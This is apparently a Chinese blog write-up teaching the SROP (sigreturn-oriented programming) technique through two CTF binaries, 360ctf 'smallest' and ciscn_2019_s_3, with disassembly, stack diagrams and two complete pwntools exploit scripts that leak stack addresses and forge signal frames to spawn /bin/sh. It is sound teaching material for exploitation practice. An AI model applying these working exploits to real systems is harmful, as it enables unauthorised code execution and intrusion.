萌新学pwn之SROP

本文详细介绍了如何运用SROP技术解决360ctf的samllest和ciscn_2019_s_3两个CTF挑战。通过IDA分析代码,构造exploit,利用栈溢出和信号帧,最终实现shell获取。文章还探讨了如何泄露栈地址和利用不同gadget进行系统调用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SROP初体验

这篇文章主要是讲解对ctf-wiki上面的SROP的例子的理解,题目是360ctf的一个题目

360ctf samllest

IDA查看代码

代码很简单

.text:00000000004000B0                 public start
.text:00000000004000B0 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0                 xor     rax, rax
.text:00000000004000B3                 mov     edx, 400h       ; count
.text:00000000004000B8                 mov     rsi, rsp        ; buf
.text:00000000004000BB                 mov     rdi, rax        ; fd
.text:00000000004000BE                 syscall                 ; LINUX - sys_read
.text:00000000004000C0                 retn
.text:00000000004000C0 start           endp
.text:00000000004000C0

exp

首先放一下wiki上的完整exp,然后下面再一步步分析

from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
    sh = remote('127.0.0.1', 7777)
else:
    sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)

## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()

调试分析

首先read函数读取三个程序起始地址,

## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)

sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

程序返回时,栈空间是这样的,栈上前三个为我们程序起始地址
在这里插入图片描述

程序返回时,利用第一个程序起始地址读取一个字节即\xb3,修改返回地址 (即第二个程序起始地址) 为源程序的第二条指令,其地址为0x04000B3
在这里插入图片描述
而且read函数的返回值会存储在eax里,为成功读取的字节数,这里由于调用read函数读取了一个字节,所以 rax=1。write系统调用号为1,所以执行到syscall的时候将会执行 write(1,$esp,0x400),以此来泄露栈地址。
在这里插入图片描述
然后先利用第三个程序起始地址读入 payload,这里的payload包含了构造的Signal Frame,这个Signal Frame会执行read(0,stack_addr,0x400)

此时执行完syscall_ret后,会先返回到程序起始处(这里是payload是p64(start_addr)开头的,即栈上的返回地址为p64(start_addr)),允许我们再次读入payload。

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

上面的代码最终又使我们可以向栈空间输入数据,这里输入的是sigreturn。

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

将sigreturn 读入后,栈空间是这样的,使程序执行syscall_ret

                                    +-----------------+
                                    |    syscall_ret  |
                                    +-----------------+
                                    |    'b'*7        |
                                    +-----------------+      
                                    |    'a' * 8      |
                                    +-----------------+         
                                    |    sigreturn    |
                                    +    .....        +      
                                    |                 |
                                    +-----------------+    

执行完syscall_ret,就会从构造的Signal Frame->rip指向的程序执行,这里是从程序起始地址执行,而此时的Signal Frame->rax为read函数系统调用号为,相当于执行read(0,stack_addr,0x400),即再次向stack_addr输入数据。

利用上一步payload回到程序起始处(看上一步的栈空间结构),读入下面构造的payload,该payload包含又一个构造的能够执行execve(’/bin/sh’,0,0)的Signal Frame。

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)

此时的栈结构如下,也就是说执行到ret时,再次回到程序起始处

                                    +-----------------+
                                    |    start_addr   |
                                    +-----------------+
                                    |    'b'*8        |
                                    +-----------------+      
                                    |    sigreturn    |
                                    +-----------------+   
                                    |    \x00         |
                                    +      ....       +         
                                    + ----------------+      
                                    | /bin/sh\x00     |
                                    +-----------------+    

然后我们再次发送sigreturn,此时执行完sys call后,栈空间是这样的

                                    +-----------------+
                                    |    syscall_ret  |
                                    +-----------------+
                                    |    'b'*7        |
                                    +-----------------+        
                                    |    'b' * 8      |
                                    +-----------------+         
                                    |    sigreturn    |
                                    +-----------------+   
                                    |    \x00         |
                                    +      ....       +         
                                    + ----------------+      
                                    | /bin/sh\x00     |
                                    +-----------------+    

然后执行完syscall_ret 后会根据第二次构造的Signal Frame执行命令execv("/bin/sh",0,0)。

sh.send(sigreturn)
sh.interactive()

在这里插入图片描述

ciscn_2019_s_3

安全保护

在这里插入图片描述

IDA查看程序

main函数就是调用vuln函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  return vuln();
}

vuln函数

.text:00000000004004ED
.text:00000000004004ED                 public vuln
.text:00000000004004ED vuln            proc near               ; CODE XREF: main+14↓p
.text:00000000004004ED
.text:00000000004004ED buf             = byte ptr -10h
.text:00000000004004ED
.text:00000000004004ED ; __unwind {
.text:00000000004004ED                 push    rbp
.text:00000000004004EE                 mov     rbp, rsp
.text:00000000004004F1                 xor     rax, rax
.text:00000000004004F4                 mov     edx, 400h       ; count
.text:00000000004004F9                 lea     rsi, [rsp+buf]  ; buf
.text:00000000004004FE                 mov     rdi, rax        ; fd
.text:0000000000400501                 syscall                 ; LINUX - sys_read
.text:0000000000400503                 mov     rax, 1
.text:000000000040050A                 mov     edx, 30h        ; count
.text:000000000040050F                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514                 mov     rdi, rax        ; fd
.text:0000000000400517                 syscall                 ; LINUX - sys_write
.text:0000000000400519                 retn
.text:0000000000400519 vuln            endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; -----------------------------------------------------

还有一个gadgets函数在这里插入图片描述
可以得到,sigreturn的调用号

.text:00000000004004DA                 mov     rax, 0Fh
.text:00000000004004E1                 retn

和execve的调用号

.text:00000000004004E2                 mov     rax, 3Bh
.text:00000000004004E9                 retn

清晰明了,就是利用SROP来get shell

完整exp

#coding=utf-8
from pwn import *

context.log_level='info'
context.arch = 'amd64'

#sh=process("./ciscn_s_3")
sh=remote("node3.buuoj.cn",27169)
syscall_ret=0x0400517
sys_read=0x04004F1
sigreturn=p64(0x4004DA)+p64(syscall_ret)


#gdb.attach(sh,"b* 0x04004ED")
payload1='a'*16+p64(sys_read)
sh.send(payload1)
stack_addr=u64(sh.recv()[32:38].ljust(8,"\x00"))-0x100
log.success("stack_addr: "+hex(stack_addr))

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x110  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = 'a'*16+sigreturn+str(sigframe)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.interactive()

分析调试

首先是泄露栈地址,构造payload1,使其读入payload1后返回到sys_read处,即地址0x04004F1,而不是回到程序起始地址,避免对栈的操作
在这里插入图片描述

payload1='a'*16+p64(sys_read)
sh.send(payload1)
stack_addr=u64(sh.recv()[32:38].ljust(8,"\x00"))-0x100
log.success("stack_addr: "+hex(stack_addr))

其实也就是相当于调用write(1,$esp-0x10,0x30),输出0x30大小的栈内容
在这里插入图片描述
输出栈上的地址
在这里插入图片描述
执行到sys_read时,可以发现esp的值为0x7fff8e252848,与上面的输出0x7fff8e252948相差0x100,所以计算得到stack_addr=0x7fff8e252948-0x100=0x7fff8e252848
在这里插入图片描述
然后先构造SigreturnFrame,使其能够执行execv("/bin/sh",0,0)。

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x110  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

然后就是构造pyload,前面有提到0x4004DA处有mov rax,0fh指令,即将sigreturn系统调用号放入rax中,所以先利用上面exp返回到sys_read,将我们构造的payload读入,返回地址为p64(0x4004DA)+p64(syscall_ret),也就是先执行0x4004DA处的指令,再返回到syscall_ret处执行,执行完syscall_ret,就会触发sigreturn调用,进而执行execv("/bin/sh",0,0)。
在这里插入图片描述

sigreturn=p64(0x4004DA)+p64(syscall_ret)
frame_payload = 'a'*16+sigreturn+str(sigframe)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.interactive()

效果

在这里插入图片描述

使用ret csu来做这个题也是可以的(待完成)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值